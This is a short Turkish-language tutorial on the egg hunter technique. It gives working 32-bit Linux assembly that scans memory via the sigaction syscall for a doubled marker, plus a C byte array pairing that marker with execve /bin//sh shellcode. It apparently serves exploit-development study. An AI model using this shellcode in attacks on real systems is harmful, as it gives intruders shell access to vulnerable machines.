Klasik Teknik - Egg Hunter - 20 Bytes
Egg hunting, sinirli buffer boyutunda kullanilan iki asamali shellcode teknikidir. Kucuk egg hunter kodu once bellegi tarar, belli bir isaret bulunca asil shellcode'a atlar.
Egg Hunter Assembly
Her sayfa sinirinda sigaction ile adresin erisilebilir oldugu test edilir. EFAULT gecersiz adres isaretidir.
; Egg degeri: 0x50905090
egg_hunter:
xor ecx, ecx
next_page:
or cx, 0xFFF
next_addr:
inc ecx
push byte 0x43 ; sigaction
pop eax
int 0x80
cmp al, 0xF2 ; EFAULT?
jz next_page
mov eax, 0x50905090 ; egg
cmp [ecx], eax
jnz next_addr
cmp [ecx+4], eax ; cift kontrol
jnz next_addr
jmp ecx ; Stage-2'ye atla
Stage-2 Hazirlama
char egg[] =
"\x90\x50\x90\x50" // egg x1
"\x90\x50\x90\x50" // egg x2
"\x31\xc0\x50\x68\x2f\x2f\x73\x68" // execve
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";